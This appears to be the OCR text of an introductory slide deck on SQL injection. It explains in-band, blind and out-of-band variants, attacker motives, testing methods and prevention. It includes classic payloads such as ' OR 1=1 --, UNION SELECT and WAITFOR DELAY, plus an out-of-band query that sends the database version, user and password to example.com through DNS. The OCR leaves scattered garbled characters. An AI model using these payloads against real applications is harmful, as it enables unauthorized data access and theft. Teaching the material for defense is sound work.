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WHAT IS SQL INJECTION

> SQL injection (SQLi) is a web security vulnerability that
allows an attacker to interfere with the queries, that an
application makes to its database.

> SQL Injection (SQLI) is a type of cyber attack that injects
malicious SQL code into an application.

> By injecting those malicious SQL codes attacker can view
and modify the the data base.




TYPES OF SQL INJECTION

SQL Injection

l

> In-band SQL injection. Web Application

Server

Generally there are three types of SQL injection :

- Inferential SQL injection.

» Qut-of-band SQL injection.
SQL
Database



TYPES OF SQL INJECTION
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In-band SQL injection : It is the most commonly used type of SQL
injection, in this method attacker uses the same communication channel
for the attack to gather results.

In this method to modify the original query and receive the direct results

of the modified query. As e.g. let’'s assume query is meant to return the
personal data of the current user and display it on-screen.

Default query . SELECT * FROM users WHERE user_id LIKE 'current_user'
Modified query : SELECT * FROM users WHERE user_id LIKE '%'--current_user”

In-band SQL injection is further divided into two parts : Error-based SQL
Injection, Union-based SQL injection.




IN-BAND SQL INJECTION
- Error-Based SQL Injection : Error-based SQL injection is j

subtype of in-band SQL injection where the result returned to the
attacker is a database error string.

Default query . SELECT * FROM users WHERE user_id = 'current_user'

> Modified query : SELECT * FROM users WHERE user_id = '1" (The doubled single quote at the
end of the query causes the database to report an error)

As aresult : You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near " at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean
given in /hj/var/www/query.php on line 37

v v v v

As a result, the attacker immediately sees that the application is
using a MySQL database and can focus on MySQL-specific
attacks.



IN-BAND SQL INJECTION
Union-Based SQL Injection : Union-based SQL injection is a \f”‘ f
subtype of in-band SQL injection where the attacker uses the

UNION SQL clause to receive a result that combines legitimate
information with sensitive data.

Default query : SELECT * FROM users WHERE user_id = ‘current_user’
> Modified query : SELECT * FROM users WHERE user_id = '-1' UNION

SELECTversion(),current_user()--' (The version and current_user functions in MySQL return the
database version and the name of the current operating system user)

5.1.73-0ubuntu0.10.04.1
mysql@localhost

As aresult :

application is using a MySQL 5.1.73 database on the operating
system Ubuntu 10.04.1, database is accessed using the operating
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TYPES OF SQL INJECTION

- Inferential SQL injection : It is also called blind SQL injection. In L f
this method attacker can learn about the structure of the server by
sending data payloads and observing the response.

Blind SQL injection is nearly identical to normal SQL Injection, the
only difference being the way the data is retrieved from the
database. When the database does not output data to the web
page, an attacker is forced to steal data by asking the database a
series of true or false questions.

In-band SQL injection is further divided into two parts : Boolean-
based Injection, Time-based injection.




Boolean-based SQL Injection : Boolean-based blind SQL injection is a |
subtype of blind SQL injection where the attacker observes the behaviour of
the database server and the application after combining legitimate queries

with malicious data using boolean operators.

Default query : SELECT * FROM products WHERE id = product_id

(If this query is executed in the application using simple string concatenation, the query becomes
respectively)

Modified query : SELECT * FROM products WHERE id = 42 and 1=1
SELECT * FROM products WHERE id = 42 and 1=0

If the application behaves differently in each case, it is susceptible to
boolean-based blind SQL injections.




Time-based SQL Injection : Time-based blind SQL injection is a subtype of
blind SQL injection where the attacker observes the behaviour of the
database server and the application after combining legitimate queries with
SQL commands that cause time delays.

Default query : SELECT * FROM products WHERE id = product_id

Modified query : SELECT * FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'

> (A malicious hacker may provide the following product_id value:42; WAITFOR DELAY '0:0:10")

If the database server is Microsoft SQL Server and the application is
susceptible to time-based blind SQL injections, the attacker will see a 10-
second delay in the application.




Out-of-band SQL injection : It is the least commonly used type of SQL \/' |
injection, in this method attacker uses the different communication
channel for the attack to gather results.

Attackers uses this methods if a server is too slow or unstable to to use
Inferential injection or In-band injection.

Out-of-band SQL injection is only possible if the server that you are
using has commands that trigger DNS or HTTP requests.

Modified query : SELECT  load_file(CONCAT(\\',(SELECT+@@Uversion),".",
(SELECT+user),".", (SELECT+password),".',example.com\\test.txt'))

This will cause the application to send a DNS request to the domain,




reasons why hackers use SQL injection : \/f_ )

> Unauthorized Access: By injecting malicious SQL statements, attackers
can gain unauthorized access to a database or application. This allows
them to view, modify, or delete data.

Data Theft: SQL injection can be used to extract sensitive information from
a database, such as usernames, passwords, credit card numbers, or other
personal details.

Data Manipulation: Hackers may inject SQL statements to manipulate data
within the database. It involve altering records, changing account balances,
or modifying any data stored in the database.




reasons why hackers use SQL injection: \/f_ )

- Bypassing Authentication: SQL injection can be used to bypass
authentication mechanisms by tricking the application into accepting
unauthorized credentials.

Denial of Service (DoS): SQL injection attacks can be used to disrupt the
normal operation of a database or an application by causing it to slow down
or crash.

Security Testing: In some cases, ethical hackers or security professionals
use SQL injection as a method to identify and fix vulnerabilities in a system.
This is a part of penetration testing to strengthen the security of an
application.




How to find vulnerabilities for SQL injection :

> Input Fields: Hackers focus on input fields in web forms, such as login
forms, search boxes, and user registration forms. They attempt to inject
SQL code into these fields to see if the application is vulnerable.

Error-Based Testing: Attackers intentionally provide input that triggers SQL
errors. Error messages generated by the database can reveal information
about the underlying structure of the database.

Time-Based Blind Testing: Attackers inject SQL statements that cause
delays (e.g., using the ‘SLEEP’ function). They analyse the application's
response time to determine if the injection was successful.




HOW SQL INJECTION

How to find vulnerabilities for SQL injection :

Boolean-Based Testing: Attackers use boolean conditions to infer
whether a particular condition is true or false. By observing the
application's response, they can deduce information about the
database structure.

Default query :
SELECT * FROM user WHERE username= ‘admin’ AND password = ‘pass123’ ;

Query with payload :
SELECT * FROM user WHERE username= ‘'’ OR 1=1 -- AND password = ‘admin’ ;

Tools used for SQL injection : SQL map, Invicti, Burp Scanner etc.



PREVENT SQL INJECTION

How to prevent SQL injection :

- There is no specific technique of SQLi prevention, it will differ
depending on the web sever, Language, versions etc.

Use of Prepared Use of Properly
Statements Constructed
(Parametrized Queries) Stored Procedures

STRONGLY
Allow-list DISCOURAGED

Input Validation (Accepting All User
Supplied Input)



PREVENT SQL INJECTION

In this presentation we have cover what is SQL injection with all
the different types of SQL injection techniques. We've also
cover some SQL query and how they work. And we also learn
why Cyber attackers uses SQL injection and what measures
should we take to prevent it.
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